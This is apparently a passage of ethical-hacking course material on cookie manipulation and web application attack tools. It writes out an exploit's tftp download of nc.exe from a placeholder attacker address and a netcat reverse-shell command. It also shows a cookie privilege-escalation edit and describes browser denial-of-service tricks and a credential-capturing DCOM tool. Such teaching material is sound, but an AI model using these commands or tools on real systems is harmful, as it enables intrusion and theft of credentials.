What is cookie?

Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid for as long as the expiry date is set for (see below). Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script.

Secure vs. Non-Secure

Secure cookies can only be sent over HTTPS (SSL). Non-Secure cookies can be sent over HTTPS or regular HTTP. The title of secure is somewhat misleading. It only provides transport security. Any data sent to the client should be considered under the total control of the end user, regardless of the transport mechanism in use.

Cookies can be set using two main methods, HTTP headers and JavaScript. JavaScript is becoming a popular way to set and read cookies as some proxies will filter cookies set as part of an HTTP response header. Cookies enable a server and browser to pass information among themselves between sessions. Remembering HTTP is stateless, this may simply be between requests for documents in a same session or even when a user requests an image embedded in a page. It is rather like a server stamping a client and saying show this to me next time you come in. Cookies cannot be shared (read or written) across DNS domains.

In correct client operation Domain A can't read Domain B's cookies, but there have been much vulnerability in popular web clients which have allowed exactly this. Under HTTP the server responds to a request with an extra header. This header tells the client to add this information to the client's cookies file or store the information in RAM. After this, all requests to that URL from the browser will include the cookie information as an extra header in the request.
Cookie Structure

domain: The website domain that created and that can read the variable.

flag: A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.

path: The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of "/" indicates that the cookie will be used for all URLs at the site from which the cookie originated.

secure: A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.

expiration: The time that the variable will expire on. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.

name: The name of the variable (in this case Apache).

The limit on the size of each cookie (name and value combined) is 4 kb. A maximum of 20 cookies per server or domain is allowed.

Cookies are the preferred method to maintain state in HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests. Therefore any attacker can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are freely available. SSL also only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions.

Example from a real world example

Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;

The attacker can simply modify the cookie to;

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;

Hacking Tool: Helpme2.pl

*

Helpme2.pl is an exploit code for WinHelp32.exe Remote Buffer Overrun vulnerability.
*

This tool generates an HTML file with a given hidden command.
*

When this HTML file is sent to a victim through e mail, it infects the victim's computer and executes the hidden code.

Helpme2.pl is an exploit code written to take advantage of the winhelp32.exe vulnerability. The perl script takes a command to execute (WinExec, SW_HIDE) and gives an html output file. There are two versions

HelpMe.pl was written to work with kernel32.dll version 5.0.2195.4272, while HelpMe2.pl was written to work with kernel32.dll version 5.0.2195.2778

The exploit does the following:

1.

Executes tftp.exe-i attacker.ip.address get nc.exe c: \winnt\system32\nc.exe
2.

Executes nc.exe attacker.ip.address 80-e cmd.exe

This code generates an HTML file with a given hidden command. When the HTML file is sent to a victim through email, it infects the victim's computer and executes the hidden code.

Hacking Tool: WindowBomb


An email sent with such html files attached will create pop-up windows until the PC's memory gets exhausted.

Window bombs are code written to cause annoying behavior on the user's computer screen. These can be such as the ones seen include:

Deadly image


A. GIF which crashes the browser on clicking.

Uncloseable window


Opens a document that utilizes the JavaScript Unload event handler to reopen the document if you try to leave or close the window.

Invincible alert dialogue


Executes a function which generates an alert dialogue and then runs the function again

Reload-o-rama


Refreshes the document from the history 1000 times/second, leaving the back and stop buttons useless.

Window spawner


Continuously opens new windows until the ram or swap space is full.

Jiggy window


Causes the window to dance around on the screen so fast that the controls cannot be reached.

Jiggy window spawner


Creates and endless stream of little dancing windows.

While loop processor hog


executes an endless loop to chew up some processor time

Recursive frames


Opens a set of recursive frames until the ram or swap space is full.

Memory bomb


Dynamically allocates ram to the browser until the ram or swap space is full.

Super memory bomb


Opens a 100K document with numerous recursive tables and ordered lists.

Hacking Tool: IEEN

http://www.securityfriday.com/ToolDownload/IEen

*

IEEN remotely controls Internet Explorer using DCOM.
*

If you knew the account name and the password of a remote machine, you can remotely control the software component on it using DCOM. For example Internet Explorer is one of the soft wares that can be controlled.

IEEN: The Distributed Component Object Model (DCOM) is a protocol that enables software components to communicate directly over a network in a reliable, secure, and efficient manner. DCOM is installed on most Windows machines by default and runs without noticed by the users.

However, if an attacker knew the account name and the password of a remote machine, he can remotely control the software component on it using DCOM. For example, Internet Explorer is one of the software components that can be controlled. IE'en is a tool that can be used to remotely control Internet Explorer using DCOM.

Summary of IE'en Functionalities:

*

Remotely connects to or activates Internet Explorer
*

Captures data sent and received using Internet Explorer
*

Even on SSL encrypted websites (e.g. Hotmail); IE'en can capture user ID and password in plain text.
*

Change the web page on the remote IE window.
*

Make the remote IE window visible / invisible

---------------------------------------------------------------------------------------------

Summary

*

Attacking web applications is the easiest way to compromise hosts, networks and users.
*

Generally nobody notices web application penetration, until serious damage has been done.
*

Web application vulnerability can be eliminated to a great extent ensuring proper design specifications and coding practices as well as implementing common security procedures.
*

Various tools help the attacker to view the source codes and scan for security holes.
*

The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using an encrypted session such as SSL / "secure" cookies are advocated instead of using hidden fields, which are easily manipulated by attackers.
*

A cross-site scripting vulnerability is caused by the failure of a web based application to validate user supplied input before returning it to the client system.
*

If the application accepts only expected input, then the XSS can be significantly reduced.

..................................................................................................................................................................... .....................................................

..................................................................................................................................................................... ...................................................

..................................................................................................................................................................... ...................................................